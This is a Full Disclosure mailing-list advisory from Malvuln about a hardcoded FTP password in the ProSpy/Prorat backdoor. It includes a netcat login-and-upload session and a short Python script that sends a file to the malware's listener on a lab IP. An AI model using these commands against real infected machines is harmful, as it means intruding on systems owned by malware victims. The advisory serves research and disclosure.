full-disclosure - [FD] Backdoor.Win32.Prorat.lkt / Weak Hardcoded Password

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Message-ID: <CAAHK0WRfWL9eHUnOS7boa8jhixmZYA5Y_wf5zEC3aVSPqkrbMw@mail.gmail.com>
Date: Tue, 5 Oct 2021 20:00:40 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Prorat.lkt / Weak Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/dec8f9042986d64e29d62effb482290b.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Prorat.lkt
Vulnerability: Weak Hardcoded Password
Description: The ProSpy Server V1.9  malware runs an FTP component
that listens on TCP port 2121. The FTP server requires authentication
for remote user access. However, the username and password both use
the word "special" which is both weak and hardcoded in plaintext
within the executable.
Type: PE32
MD5: dec8f9042986d64e29d62effb482290b
Vuln ID: MVID-2021-0360
Dropped files: dxdiag.exe
Disclosure: 10/04/2021

Exploit/PoC:
nc64.exe 192.168.18.125 2121
220 ProSpy FTP Server ready.
USER special
331 Password required for special.
PASS special
230 User special logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP \
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,23).
STOR DOOM.js
150 Opening data connection for DOOM.js.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=49687
DOOM="DOOM.js"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()

Disclaimer: The information contained within this advisory is supplied
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otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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